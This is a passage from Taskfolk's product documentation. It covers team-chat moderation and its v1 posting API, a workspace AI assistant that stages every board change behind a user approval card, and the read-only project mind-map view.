so a blip in the stream does not lose a message; you get it on reconnect. ```mermaid sequenceDiagram participant B as Browser participant S as Taskfolk server participant D as Database B->>S: Open SSE stream S-->>B: Live message events Note over B,S: Connection drops B->>S: Reconnect with since cursor S->>D: Fetch messages after cursor D-->>S: Missed messages S-->>B: Replay, then back to live ``` Now the honest scale note, because it shapes what you should expect. This real-time delivery runs in-process on a single container. The DB is the source of truth and the stream is best-effort with reconnect replay, but it is not yet a multi-instance Redis fan-out. For a team, this is invisible and works fine. Worth knowing the ceiling exists rather than assuming infinite horizontal scale. There is also a mid-session nuance worth internalizing. A brand-new public channel pushes live to everyone the moment it is created, so people see it appear. But being added to a private channel or a new DM shows up on your next reconnect, not the same instant. So if you add a teammate to a private channel and they do not see it right away, that is expected; it lands when their client reconnects. Finally, muting. Mute a channel and it stops contributing to your unread badge and drops you from its message notifications. This is the tool for the channel you want to stay a member of but not be pinged by. Unmute when you need it back. Muting well is underrated. It is how you keep the unread badge meaningful instead of training yourself to ignore it. ## Moderating a channel and read-only access If you moderate a channel (owner or admin, or you are the channel's own creator), you get management controls. You can rename it, edit its topic, "Add people" ("Add workspace members to this channel"), remove members, and archive it. Archiving matters: an archived channel becomes hidden and read-only, which is the graceful way to retire a channel that has served its purpose without deleting its history. Roles decide what everyone else can do, so state it plainly: | Action | Viewer | Guest | Member | Admin | Owner | |---|---|---|---|---|---| | Read channels | yes | yes | yes | yes | yes | | Send, edit own, delete own | no | yes | yes | yes | yes | | Create channels | no | no | yes | yes | yes | | Delete anyone's message | no | no | no | yes | yes | Viewers get read-only access to chat, and the interface tells them so: "You have read-only access to chat." So a viewer can follow along, an admin can moderate, and a member sits comfortably in between. There is a light flood guard, worth mentioning so it does not surprise anyone: 30 messages in 10 seconds per user per workspace. Cross it and you see "You're sending messages too quickly." It is generous enough that normal conversation never touches it, and it only trips on something like a paste-loop or a runaway script. ## Post to a channel from a script (v1 API) The same channels are drivable through the v1 public API, so a bot can post release notes into #web-release or a CI job can announce a deploy. You need an API key with the `chat:write` scope (reads take `chat:read`), sent as a Bearer token. ![The API keys tab in Taskfolk's developer settings, where you create the key a chat bot will authenticate with.](/images/blog/how-to-use-the-rest-api-keys-tab.webp) Creating a channel takes a name, a kind (`public` or `private`), and an optional topic. DM channels cannot be created over the API; those stay UI-only. ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/chat/channels" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"name": "web-release", "kind": "public", "topic": "Coordinating the WEB 1.4 release"}' ``` Sending a message is one POST to the channel's `messages` collection. In curl: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/chat/channels/$CHANNEL_ID/messages" \ -H "Authorization: Bearer tfk_live_a1b2..." \ -H "Content-Type: application/json" \ -d '{"body_md": "Deploy finished. Build 1.4.0 is live."}' ``` ```javascript const res = await fetch( `https://taskfolk.ai/api/v1/workspaces/taskfolk/chat/channels/${channelId}/messages`, { method: "POST", headers: { Authorization: "Bearer tfk_live_a1b2...", "Content-Type": "application/json", }, body: JSON.stringify({ body_md: "Deploy finished. Build 1.4.0 is live." }), }, ); const message = await res.json(); ``` ```python import requests r = requests.post( f"https://taskfolk.ai/api/v1/workspaces/taskfolk/chat/channels/{channel_id}/messages", headers={"Authorization": "Bearer tfk_live_a1b2..."}, json={"body_md": "Deploy finished. Build 1.4.0 is live."}, ) message = r.json() ``` The created message comes back with its thread fields, so a bot can keep a conversation contained: ```json { "data": { "id": "0197a2c4-...", "channel_id": "0197a2b0-...", "author_id": "0197a1f3-...", "body_md": "Deploy finished. Build 1.4.0 is live.", "parent_id": null, "root_id": null, "reply_count": 0, "last_reply_at": null, "edited_at": null, "created_at": "2026-07-16T09:30:00.000Z", "reactions": [] } } ``` Pass a `parent_id` in the POST body to reply inside a thread instead of the main channel. One API-only allowance: `body_md` can run to 64,000 characters over the API, well past the 8,000-character composer cap, so a bot pasting a log excerpt has room. The API path goes through the same permission matrix, the same notifications, and the same realtime stream as the UI, so a bot's message pings mentioned people exactly like a human's would. ## Habits that keep chat useful (and mistakes to avoid) A few opinions, earned from watching chat go well and go badly. - **Keep decisions on the issue, not buried in a channel.** Because chat does not auto-link `#KEY-NUM`, a decision made in a channel is genuinely hard to find later. Nobody is going to scroll a month of #web-release to reconstruct why you shipped a thing. When a chat conversation reaches a decision, paste the issue URL and record the outcome as a comment on the ticket itself. The ticket is the memory. - **Default your channels public.** Findable context is the entire value of chat living next to your issues. A private channel is a locked drawer; use it only when you actually need the lock. - **Use threads for anything longer than two replies.** The moment a topic has legs, put it in a thread so the channel stays legible for everyone else. - **React instead of adding reply noise.** A Done reaction says "got it" without a new line. Ten "ok" messages make a channel unreadable; ten reactions do not. - **Mute the channels you do not need instead of leaving them.** Leaving loses you the context; muting keeps you a member who can catch up later without being pinged now. And keep the honest limits in one place so your team is never surprised. There is no typing indicator. Reactions are a fixed set of eight, not any emoji. Issue references like `#WEB-12` render as plain text in chat, so paste the full URL when you want a jump. Real-time delivery runs on a single container today, reliable for a team but not a multi-instance fan-out. That is the whole feature. Open the Chat item in your workspace sidebar and start a channel for the work you are coordinating this week. --- # How to use the AI assistant URL: https://taskfolk.ai/docs/how-to-use-the-ai-assistant Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: agentic project management, AI triage, pricing, how-to How to run your board with Taskfolk's AI assistant: ask grounded questions, create and triage issues from a sentence, and approve every change before it lands. You know what needs to happen on the WEB board. Move that ticket to In Review, hand it to someone, drop it into the current sprint. The decision took two seconds. What eats your afternoon is the wiring: open the ticket, click the status, hunt for the assignee menu, scroll to the sprint field. Ten clicks you keep deferring, times fifteen tickets, and by Friday the board is a day stale and lying to your standup. That is the gap an AI assistant project management chat is meant to close. Not by guessing what you want, and not by silently rewriting your board while you look away, but by turning "move WEB-2 to In Review and give it to me" into a proposed change you glance at and approve. Taskfolk ships exactly that: a workspace assistant that reads your board in plain English, answers grounded questions about your real data, and stages board changes behind a human approval gate. This guide walks the whole thing, including the parts it deliberately refuses to do. ## Where the AI assistant lives and what it actually does Bottom-right corner of every workspace page, there is a small floating button. It is a robot-cat, and for screen readers it announces itself as "Ask AI." That button is your way in from anywhere: the board, the backlog, an issue detail, project settings. The first time you land on a workspace page it pops a one-time tooltip, "Hi, I'm your Taskfolk assistant. Ask me anything about your work," which you Dismiss and never see again. ![The WEB board with the floating robot-cat 'Ask AI' launcher and its dismissible tooltip in the bottom-right corner, showing where the assistant lives and how you open it from any workspace page.](/images/blog/how-to-use-the-ai-assistant-launcher.webp) The one surface where the launcher does not show up is team chat (`/w/*/chat`). That page is already a conversation, and stacking a second one on top of it would just be noise. Here is the honest framing, and it matters more than any feature list. This is a workspace assistant, not a general chatbot. It will not write your marketing email or explain quantum computing to you. Everything it says about your workspace comes from tools it calls behind the scenes: | Tool | What it reads | | --- | --- | | `search_issues` | tickets by title or key | | `list_projects` | the projects you can see | | `project_summary` | open and done counts per board column | | `get_issue_details` | one ticket in full | | `list_my_open_tasks` | your open assigned work | | `list_workspace_members` | people and roles, agents flagged | | `list_project_sprints` | active and planned sprints | The system prompt is blunt about it. Call a tool before answering, and never invent a key, a count, or a status. So when it tells you "WEB has 12 open and 30 done," that number came from a real query against your board, not a plausible guess. That grounding is the entire reason you would trust it near your tickets. Two things it does not do, said up front so you are not let down later. It does not read your docs, wiki, or attached files, and it does not browse the web. Its world is issues, projects, members, and sprints. That is a hard edge, and we will come back to it. ## Opening the drawer and reading the welcome screen Click the launcher. A panel slides in from the right, titled "AI assistant," and it opens on a welcome screen worth reading slowly the first time, because it is a map of the whole feature. Up top you get a greeting, "How can I help?", under a subtitle: "Ask about your work, or tell me to create and triage issues." That one sentence is the two-sided nature of the tool. Read (ask about your work) and write (create and triage), with the write side always gated. Below that sits a "Can help with" row of chips: Search tasks, Summaries, Create tasks, People, Sprints, Approvals. Those six are the honest scope. If a chip is not in that row, the capability is not in the product. Then three groups of clickable example prompts, Explore, Create & update, and Plan, so you do not have to invent your opening question. Click one and it drops straight into the composer. ![How to use the ai assistant - drawer welcome](/images/blog/how-to-use-the-ai-assistant-drawer-welcome.webp) Check the header the moment the drawer opens. Your AI credit balance is right there, reading something like "18 credits left," sometimes with "top-up" and "daily left" figures beside it. Credits are how this is metered. Noticing that number now saves you a surprise mid-task. There is a whole section on it below. The composer at the bottom takes plain English. Enter sends. Shift+Enter drops a newline if you want a multi-line prompt. Escape closes the drawer. Those are the only three shortcuts, and they are all you need. ## Asking about your board: summaries, people, and overdue work Start with the read-only half, because that is where you earn enough trust to let it touch anything. Every prompt here answers from a live tool call, so the answers are exactly as current as your board is. A few openers and what each one returns: - "Summarise the WEB project." Open and done counts broken out by board column, so Backlog, To Do, In Progress, In Review, and Done each report their own numbers. That is `project_summary` running, not the model skimming a list and estimating. - "Who is in this workspace?" Members with their roles, with any AI agents flagged as "agent" so you can tell a teammate from a bot at a glance. - "Show my open tasks due soon." What is assigned to you with a deadline closing in. - "What's overdue across my projects?" The cross-project cut. - "List active and planned WEB sprints." The sprint picture, before you sit down to plan. You can watch it work. "Thinking…" dots first, then per-step tool chips that read "Working on it," "Work checked," "Ready for approval," or "Needs attention," depending on what the step actually did. A completed chip can carry a "View task" deep link, so if the answer mentioned WEB-2 you jump straight to the ticket. Then the answer streams in token by token, with a footer disclaimer parked under it: "I can make mistakes. Verify important info." Hold the boundary in your head while you poke at it. It knows issues, projects, members, sprints. It does not know what is inside a doc or an attachment. If your real question is "what did the spec say about login," this is the wrong tool, and it will tell you so rather than make something up. For the wider case of running a board this way, [what agentic project management actually means](/blog/what-is-agentic-project-management) is a good companion read. If your Monday ritual is a status write-up, [let AI write your weekly project update](/blog/let-ai-write-your-weekly-project-update) goes deep on the summary side. ## The approval gate: how it changes your board without changing it behind your back This is the part to internalize, because it is the safety model behind everything the assistant writes. When you ask for a change, the assistant does not make it. It stages it. What renders in the chat is a yellow approval card: a labelled field summary of exactly what is about to happen, and an "Approve" button. Nothing touches your board until you press that button. Press it and the label flips to "Approving…" while the real action runs. Leave it, and nothing ever happened. ```mermaid sequenceDiagram participant You participant Assistant participant Board You->>Assistant: Move this ticket to In Review Assistant->>Board: read the ticket and its columns Board-->>Assistant: current state Assistant-->>You: approval card with status and assignee You->>Assistant: Approve Assistant->>Board: update runs with your permissions Board-->>You: ticket moved ``` Walk a real example. Type "Move WEB-2 to In Review and assign it to me." The assistant reads WEB-2, confirms In Review is a real column on the WEB board, resolves "me" to your account, and renders a triage card: status In Review, assignee you. Under the hood, the card is a small structured payload, and approving it sends exactly this back to the server, nothing more: ```json { "type": "triage_issue", "issueKey": "WEB-2", "status": "in_review", "assigneeName": "you" } ``` You read those two lines on the card. If they are right, Approve, and it runs the same `updateIssue` your manual UI runs, with your permissions, so it can never do anything you could not do by hand. If they are wrong (say you meant WEB-12), you just do not approve, and you retype. That is the human-in-the-loop guarantee, stated flat. The AI proposes, you dispose. There is no auto mode, no toggle that lets it write without the card, no background sync editing tickets while you are in a meeting. Every mutation, every time, waits for your click. After a card or two you stop reading them word for word and start scanning them, which is the right speed. Fast, but never blind. ## Creating and triaging issues from a sentence Four kinds of change go through that approval card, and knowing their exact edges keeps you from asking for things it cannot stage. **Create an issue.** The AI can create an epic, story, task, or bug. Not a subtask. It sets the project, the type, the title, and an optional priority, and that is the complete list. It does not set an assignee, a due date, or a description at creation. So "Create a bug: checkout fails on mobile" gives you a bug titled "checkout fails on mobile" on the WEB project, and you fill in the rest on the ticket afterward. "Create an epic: mobile app redesign" gives you an epic. If you want a description or an owner on it, that is a second step you do by hand, which is fine, because the create was the annoying part. **Add a comment.** "Add a comment to WEB-2: waiting on design review" stages a comment card, and on approval it posts as you. **Triage.** This is the status, priority, and assignee lane. Status can be any real column, including a named custom one. If your WEB board has a column called Blocked, you can move a ticket there by name. Assignee takes "me" and "unassigned" as well as a person. So "Move the login bug to In Progress and set priority to high" is a single triage card. **Plan a sprint.** Move a ticket into a sprint, or send it back to the backlog. The habit that matters here is one line long: read the field summary before you approve. The card exists so you can catch a wrong project, a wrong type, or a title the AI tidied in a way you did not mean. Ten seconds of reading beats an undo. For the triage side specifically, [AI issue triage that assigns and prioritizes](/blog/ai-issue-triage-that-assigns-and-prioritizes) goes further on keeping a backlog groomed this way. ## Planning a sprint and handing work to an AI agent Sprint prompts sit in the Plan group of examples for a reason. "List active and planned WEB sprints" reads the sprint picture. "Draft a sprint plan for WEB" asks the assistant to reason over open work and propose what goes in, and every move it suggests still comes back as an approval card before a single ticket changes sprint. You are planning out loud with something that can actually see the board, but the board stays yours until you say yes. ![The project sprints page showing active and planned sprints, the same picture the assistant reads when you ask it to list or plan sprints.](/images/blog/how-to-run-a-sprint-sprints-page.webp) The people side has a twist worth knowing. The assistant recognizes AI agents in your workspace member list, the ones tagged "agent," and when you ask who could take a piece of work, or tell it to delegate a task, it offers those agents as candidates next to the humans. So "Who can pick up the login bug?" might surface an agent set up to work WEB tickets. Be honest with yourself about what that hand-off is. Assigning a ticket to an AI agent passes the work along. It does not guarantee the agent finishes, any more than assigning a ticket to a person guarantees they do. It is an assignment, full stop, and the agent's own setup decides whether anything happens after. If you are building agents that actually complete work rather than sit in a member list, [give your AI agent a knowledge base](/blog/give-your-ai-agent-a-knowledge-base) is the deeper read on making them useful. ## Credits, daily limits, and what free vs paid gets you The assistant is metered by credits, not a flat monthly fee, and framing it that way keeps your expectations straight. The credit balance lives in the drawer header: "credits left," sometimes with a "top-up" figure (credits you bought on top of your grant) and a "daily left" figure (turns remaining before today's sub-limit stops you). Every workspace gets a recurring grant. Free workspaces get a small monthly grant, enough for a handful of turns, not an all-day pairing session. Paid tiers (Pro, Business) get larger grants. A workspace inside its 14-day reverse trial gets the biggest grant of all, which is the point of a trial: room to actually try the thing. Two ways you hit a wall, and they are not the same wall: ```mermaid flowchart TD A[Send a prompt] --> B{Monthly credits left} B -->|no| C[Buy credits or wait for the refresh] B -->|yes| D{Daily turns left} D -->|no| E[Resets tomorrow. A credit pack raises the daily ceiling] D -->|yes| F[The turn runs and credits are debited] ``` The monthly-exhausted state reads "You've used all your AI credits this month. Buy more, or wait for next month's refresh," and if you can manage billing it offers "Buy credits" and "View plans." The daily state is its own thing: "You've hit today's AI limit, not your monthly credits. It resets tomorrow. Buying a credit pack raises your daily limit." So you can have monthly credits sitting in the bank and still be done for the day, and buying a pack lifts that daily ceiling. ![The workspace billing page where credit packs and plan upgrades are bought, the place both empty-credit states point you at.](/images/blog/how-to-manage-billing-and-plans-billing-plan-hero.webp) One more variable: model tier. Only active paid workspaces run on the premium model. Free and trial workspaces run on the cheaper one, capable but not identical, so do not expect answer-for-answer parity across every plan. There are guardrails stacked on top of the credits too: - You are rate-limited to 10 requests per minute per user. - The agent loop is capped at 5 tool steps per turn. That five-step cap is the practical one to remember. A request like "summarize every project, list everyone's overdue tasks, and draft three sprint plans" can run out of steps mid-thought and hand you a half answer. Narrow it. Ask for one project's summary, then the next. You get better answers and burn fewer credits. ## Limits, gotchas, and getting good answers The honest edges, because a tool you understand is a tool you can actually rely on. **No document search.** This is the big one. There is no doc, wiki, or attachment retrieval anywhere in the assistant. `search_issues` runs over issue titles and keys through Typesense, so "find issues about login" works, but "what did the spec say about login" does not, because the spec is a doc and the assistant cannot see docs. If you catch yourself asking about the contents of a file, that is your cue to go open the file. **Four approval actions, and that is the ceiling.** Create issue, add comment, triage, plan sprint. There is no AI tool to delete an issue, edit a description, manage labels, change project settings, or bulk-edit twenty tickets in one go. Want any of those, the manual UI is right there. The assistant will not pretend it can do them. **Chat history is ephemeral.** The conversation lives in your browser, client-side, and it is never saved. The "Clear chat" trash button in the header wipes it on purpose, and so does a page reload. Close the drawer with the X, the backdrop, or Escape and the conversation is still sitting there when you reopen; reload the page and it is gone. So if the assistant produced something you want to keep, act on it (approve the card, copy the text) before you refresh. **Access is gated.** The AI is for owners, admins, and members only. Viewers do not get it, and the permission behind that is `ai.chat`. If AI is switched off server-side for the workspace (no key configured, or an operator kill-switch), the launcher does not render at all, so a missing button can mean "disabled here," not "broken." And scoped-project rules apply to every lookup: a member only ever sees and acts on projects they already have access to, because every AI query and mutation is tenant- and role-scoped on the server, not just hidden in the UI. **Feedback about Taskfolk goes where feedback should go.** Tell the assistant "the board is slow" or "you should add recurring tasks," and it routes that to the Feedback community at `/w//feedback` instead of quietly filing it as a task on your board. Your board stays your board. ![The Feedback community feed where product feedback lands when you tell the assistant something about Taskfolk itself, kept separate from your project board.](/images/blog/how-to-track-and-vote-on-feedback-community-feed.webp) A few habits that make the answers better: - **Name the project and the key.** "Summarise WEB" beats "summarise my project" when you own five of them. "WEB-2" beats "the login ticket" when the assistant would otherwise have to guess which one. - **Split multi-part asks.** Because of the five-step cap, one clear request lands cleaner than a compound one. "Summarise WEB and plan next sprint" is two turns, not one. - **Verify before you trust.** The footer says it outright: "I can make mistakes. Verify important info." Grounding makes the counts reliable, but phrasing, judgment calls, and sprint suggestions are still worth a look. The approval card is your last line of defense. Read it. That is the whole tool, edges and all. It reads your board in plain English, answers from real data instead of guessing, and stages every change behind a gate you control. Open the launcher on your own WEB board, ask it to summarize the project, then ask it to move one ticket and approve. Two turns, and you will feel precisely where the line sits between what it does for you and what stays your call. --- # How to use the mindmap URL: https://taskfolk.ai/docs/how-to-use-the-mindmap Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: views, Taskfolk, how-to How to use Taskfolk's project mind map view: open the radial tree, read the pills, expand and filter branches, group by Hierarchy/Status/People, and export a PNG. You inherited a project with 40 open tickets and no clear picture of how they fit together. The board shows you columns. The backlog shows you a ranked list. Neither one tells you which epic is quietly on fire, which person is buried under twice their share of work, or which stories are floating with no parent to anchor them. You are reading rows when what you need is shape. That is the gap the project mind map view fills. It takes everything in a project and draws it as a radial tree, the project at the centre and the work fanning out around it, so you can see structure instead of scrolling through it. This walkthrough covers both the single-project map and the workspace-wide one, how to read what you are looking at, and how to answer a real question fast without editing a ticket by accident. Here is what you will be able to do by the end: - Open both the single-project mind map and the workspace-wide map, and know when each one earns its place - Read the radial tree at a glance: what the pills, badges, colours, and rings actually encode - Expand, collapse, and filter branches to answer a real question (which epic is stalled, who is overloaded) - Switch grouping between Hierarchy, Status, and People to see the same work three ways - Export the current view as a PNG, and understand exactly what the map will and will not do ## Why the project mind map view beats another list A board is great for one thing: watching work move left to right through your columns. A backlog is great for one other thing: deciding what to pull next. Both are lists with extra styling. They show you rows. When you have 40 open tickets across five epics and three people, rows hide the two facts you actually care about: how the work is shaped, and where it is stuck. The project mind map view is the see-the-whole-project-at-once tool. It is a radial tree built with React Flow. The project name and key sit in the middle, and the work spreads outward on fixed concentric rings, one ring per level of depth. An epic is a branch. Its stories and tasks are the next ring out. Subtasks sit beyond that. Every issue is a rounded pill you can read at a glance. What is it good for, concretely? Pattern questions that a list buries: - Seeing the structure of a project you did not build - Spotting orphans, the stories and tasks that belong to no epic - Spotting overload, the one person whose branch has twice as many pills as anyone else's - Spotting stalled branches, the epic where nothing has moved out of Backlog in weeks One honest boundary before you get attached to it: the map is read-only for the work itself. You can expand, collapse, filter, drag pills around, and export what you see. You cannot create, rename, reassign, restatus, or delete anything from it. When you want to change a ticket, you click through to its issue page and edit there. The map is the X-ray, not the operating table. ## Opening the mind map (project and workspace) There are two entry points, and they answer different questions. ```bash # Single-project map: the project's Mindmap tab https://taskfolk.ai/w//p//mindmap # Workspace-wide map: the Mindmap link in the sidebar https://taskfolk.ai/w//mindmap ``` For one project, open the project and click the **Mindmap** tab. In the demo workspace that is the WEB project at `/w/taskfolk/p/web/mindmap`. This is the view you want when someone hands you a single project and says "get your head around this." For everything at once, look in the left sidebar under the Workspace group and click the **Mindmap** link. That takes you to the workspace map, where the centre is the workspace itself and the first ring is one node per project. More on that view later, because it behaves differently in a way that matters. When a single-project map loads, it opens deliberately calm. Only the root, the project, is expanded. Everything else starts collapsed, so you get a clean overview instead of a wall of 40 pills the second the page paints. Along the top is the toolbar: the Hierarchy / Status / People grouping toggle, plus **Expand all**, **Collapse all**, and the **Filter nodes…** box. ![The WEB project mind map in its default collapsed state: project name and key at the centre, a first ring of epic and group nodes each carrying a +N badge, and the toolbar with the Hierarchy/Status/People toggle plus Expand all, Collapse all, and Filter nodes. Shows the clean root-only starting point the rest of the tutorial builds on.](/images/blog/how-to-use-the-mindmap-project-overview-collapsed.webp) If you land on a brand-new project with nothing in it, you will not see a broken empty canvas. You get a small empty state that reads "Nothing to map yet" with a line telling you to add some work and it will show up here as a map. The workspace map has its own version for when there are no projects yet. So if you are staring at that message, it is not a bug. There is just nothing to draw. ## Reading the map: pills, badges, rings, and colour Before you start clicking, spend thirty seconds learning the visual language, because everything else here rides on it. The centre is the project: its name and key, for example WEB. The rings around it are depth. The first ring out is the top level of whatever grouping you are in (epics, in Hierarchy mode). The second ring is their children. The third ring is the children's children. Distance from the centre is literally how deep in the tree you are. Each issue is a pill, and the pill is dense with meaning once you know where to look: - The **type icon** (epic, story, task, bug, or subtask), tinted by that type's colour - A **status-coloured accent**, so you can tell a Done pill from an In Progress one without reading the text - The **assignee's avatar**, so you can see who owns it Two badges do the heavy lifting for navigation. A collapsed node that has children shows a **+N** badge. That N is the count of every hidden descendant underneath it, all levels, not just its direct children. So an epic showing +14 has fourteen things under it in total, whether they are stories directly attached or subtasks three rings deep. An expanded node swaps that badge for a small up-chevron, which is your cue that clicking will collapse it again. Colour is not decoration either. Each top-level branch gets its own distinct brand hue, and that hue tints the whole branch and the curved floating edges that connect it. So the "Timeline + Summary tab" epic and everything under it might run gold while another epic runs a different tone, and you can trace a branch out to its tips by colour alone. The edges are bezier curves that light up when you hover the node they connect to, which helps when two branches overlap in a busy corner of the map. ## Expanding and collapsing branches to follow a thread This is the core interaction, and it is one click. Click a node that has children and its children fan out one ring further. As they appear, the viewport glides (an animated fitView) to re-centre on the branch you just opened, so the thing you are exploring lands in the middle of your screen instead of off in a corner. Click the same node again and its children hide, but this time the viewport stays put, so you do not lose your place. Say you are in WEB and you want to know what is inside the "Timeline + Summary tab" epic. Click that epic's pill. Its stories and tasks fan out one ring, the view slides to centre them, and the epic now shows the up-chevron telling you it is open. Now you can read its children: maybe a "Gantt dependency overlay" story, a "burndown chart island" task, a bug or two. In one click you went from "there is an epic here" to "here is exactly what it contains and what state each piece is in." There is a small but useful distinction in what a click does, depending on the node: ```mermaid flowchart TD A[Click a pill] --> B{Does it have children?} B -->|No, it is a leaf| C[Opens the issue page] B -->|Yes, it is a branch| D{Where did you click?} D -->|The pill body| E[Expands or collapses the branch] D -->|The small arrow| C ``` Click a leaf, a node with no children, and you navigate straight to that issue's detail page, where you can actually edit it. Click a branch and the body of the pill dives into the branch instead. But a branch issue also shows a small up-right arrow, and that arrow is your escape hatch to open the issue page directly. So a leaf takes you to the work; a branch expands, unless you deliberately click its arrow. When you want the whole picture, **Expand all** opens every branch at once and re-fits the map so it all fits on screen. **Collapse all** does the reverse and drops you back to the clean root-only overview. Collapse all is disabled when nothing is open, which is a nice tell: if that button is greyed out, the map is already fully collapsed. ## Grouping by Hierarchy, Status, or People The same set of issues can be arranged three ways, and the segmented toggle in the toolbar flips between them. There are exactly three modes. Not four, not custom. The active one shows as a gold pill. | Mode | First ring | The question it answers | |---|---|---| | **Hierarchy** | Epics, plus a **No epic** orphan bucket | How is this project organised, and what is floating loose? | | **Status** | One node per board column (Backlog, To Do, In Progress, In Review, Done in WEB) | Where is the flow jammed? | | **People** | One node per assignee, plus **Unassigned** | Who is carrying too much? | **Hierarchy** is the structural view. Epics on the first ring, their stories and tasks on the next, subtasks beyond. Anything that is not an epic, has no parent, and belongs to no epic falls into the **No epic** group, which is your orphan bucket. **Status** regroups everything by board column, each with its issues hanging off it. Switch to this mode and the shape of your flow jumps out. If the In Review group is three times the size of every other group, you have a review bottleneck, and you saw it in one glance instead of counting cards. **People** regroups by assignee, each person's issues fanning out from their node, with work nobody owns yet collected under **Unassigned**. This is your load-balance view. The person whose branch is visibly heavier than everyone else's is the person to talk to before the sprint goes sideways. ![The mindmap grouped by people, each assignee a hub with their issues branching off](/images/blog/how-to-use-the-mindmap-group-by-people.webp) One thing to know: switching mode resets expansion back to the collapsed overview. That is on purpose. Each mode is a different question, so it starts you fresh rather than trying to carry your open branches across a completely different layout. Pick the mode for the question you are asking. And to be clear about the boundary: there is no group-by-label, group-by-priority, or group-by-type. Three modes, that is the full set. ## Filtering to find work without losing the map Expanding branches one by one is fine when you are exploring. It is slow when you already know what you are hunting for. That is what the **Filter nodes…** box is for. Start typing, and two things happen together. Every issue pill that does not match your text dims to about 30% opacity, so it fades into the background without disappearing. And any branch that contains a match force-expands, opening its ancestors automatically so the matching pill is never trapped behind a collapsed parent. You do not have to know where a ticket lives. You type, and the map opens itself up around your matches. About 450ms after you stop typing, the view re-fits so everything relevant is on screen. Try filtering "timeline" in WEB. Every ticket with "timeline" in it lights up at full opacity while the rest of the project greys back, and any epic holding one of those tickets springs open to reveal it. In one move you have surfaced every timeline-related piece of work across every epic, without manually opening a thing. ![The mindmap with a filter applied: nodes matching the search stay bright while the rest dim, so the relevant branch stands out](/images/blog/how-to-use-the-mindmap-filter-nodes.webp) Filtering here is about keeping the shape while spotlighting a subset. When you would rather have precise rows you can sort and slice by field, the list view is the better tool, and there is a full walkthrough on [how to filter and sort issues](/docs/how-to-filter-and-sort-issues). Map for shape, list for rows. Use whichever matches the question. ## Seeing the whole workspace as one map The workspace map is not just a bigger project map. It is a different kind of thing. Open it from the sidebar and the centre is the workspace name, headed "Workspace mindmap" with the line "Every project and its work as one map. Click a project to expand it." The first ring is one node per project you can reach, and each project node shows its total issue count as a **+N** badge before you open it. So at a glance you see every project and roughly how much work each one is carrying. ![The workspace-level mindmap, every project a branch off the workspace root](/images/blog/how-to-use-the-mindmap-workspace-map.webp) The important difference is how those project nodes load. They load lazily. Clicking a project node does not navigate you anywhere and does not have its tree sitting there pre-drawn. Instead the click fires a `loadProjectMindmap` server action that fetches that project's issue tree on demand, then expands it in place. ```mermaid sequenceDiagram participant You participant Map as Workspace map participant Server You->>Map: Click a project node Map->>Server: loadProjectMindmap for that project Server->>Server: Recheck your access to it Server-->>Map: That project's issue tree Map-->>You: Branch expands in place ``` This keeps the workspace map fast even when you own a lot of projects, because it only pulls the detail you actually ask for. Hit **Expand all** on the workspace map and it first fetches every not-yet-loaded project in parallel, then opens everything once the data is in. Visibility follows the same tenancy rules as the rest of Taskfolk. Owners and admins see every project. Everyone else sees the non-scoped projects plus any scoped projects they have explicitly joined, and every lazy project load re-checks that access on the server, so the map cannot leak a project you are not allowed to see. Guests do not get the workspace map at all; they are 404'd from it. Two practical notes. If a project fails to load, its node tells you "Couldn't load that project. Please try again," and you can retry the click rather than reloading the whole page. And the workspace map lists at most 200 projects, so on a very large workspace it shows you the top of the list, not literally every project that has ever existed. ## Panning, zooming, dragging, and exporting Getting around the canvas is standard React Flow, with a couple of details worth knowing. Pan and zoom with the mouse wheel or the React Flow Controls in the corner. The zoom range runs from 0.08x all the way out to 2.5x, so you can pull back far enough to see a huge project as one shape or push in close enough to read a single pill. You can drag individual pills to reposition them, and here is the nice part: a manual position sticks. Drag a pill somewhere that makes sense to you and it survives expanding and collapsing branches, and even switching grouping mode, so your hand-tuned layout is not blown away the moment you interact with the map. There is a contextual-zoom trick that keeps things readable at scale. Below roughly 0.35 zoom, pills drop their secondary chrome (avatars, the open-issue links, the badges) so a zoomed-out map reads as a clean constellation of dots rather than a smear of tiny cluttered boxes. It also renders fewer DOM nodes at that distance, which keeps a big map smooth. Zoom back in and the detail comes back. A minimap in the corner mirrors the whole map, with nodes tinted by their branch or status colour so you can orient even when you are zoomed in on one branch, and it pans and zooms too. Behind everything is a dot-grid background that gives the canvas a sense of place. Note that the Controls here leave out the interactive-lock toggle, and the React Flow attribution is hidden, so do not go hunting for a lock button. When you want to hand the map to someone who is not in Taskfolk, use **Export image** in the top-right panel. It rasterizes the full bounds of your current graph to a flat PNG called mindmap.png. That is the whole export story. No SVG, no PDF, no shareable live link. What you export is a picture of exactly what is on the canvas at that moment, so expand and arrange it the way you want it read before you hit the button. ## Limits and mistakes to avoid The map is genuinely useful, and it is honest about what it is not. Knowing the edges will save you from expecting things it does not do. Nothing about the map's state is saved. Your expanded branches, your filter text, the grouping mode you picked, the pills you dragged into place: all of it is in-memory React state, and all of it resets when you reload or navigate away. That is deliberate, a performance choice, not a bug. The map is a live scratchpad you build for the question in front of you, not a saved layout you come back to. If you find a view worth keeping, that is exactly what Export image is for. There is no auto-layout beyond the fixed radial rings, and no rearrange button. The only manual control over position is dragging pills one at a time. So do not expect a force-directed graph that untangles itself. That is not what this is. On big projects, two caps come into play: - At most **2000 issues** are loaded per project (the `ISSUE_CAP`); beyond that the tree is truncated - A hard render cap of **900 nodes** (`MAX_NODES`); when you hit it, the toolbar shows "Some branches are collapsed to keep the map fast" So on a genuinely huge project, do not assume every single issue is on the canvas at once; some branches stay collapsed to keep the thing responsive. Archived and soft-deleted issues and projects are excluded everywhere, so the map shows live work only, ordered by issue number. And to say it one more time, because it is the most common wrong assumption: you cannot create, edit, reassign, restatus, connect, or delete anything from the map. Nodes are not connectable. Clicking only ever expands, collapses, or navigates. Every actual change happens on the issue page you click through to. Finally, reach for the right view for the right job. The mind map is for structure and pattern. When you need dates and scheduling, the [project calendar view](/docs/project-calendar-view) shows work laid out in time, and the [Gantt chart with dependencies](/docs/gantt-chart-with-dependencies) shows sequencing and what blocks what. If you want the deeper conceptual tour of why a project reads better as a map at all, there is a companion piece on [seeing your whole project as a mind map](/blog/see-your-whole-project-as-a-mind-map). Open the Mindmap tab on your busiest project, switch it to People mode, and see in one glance whether the load is where you think it is. --- # How 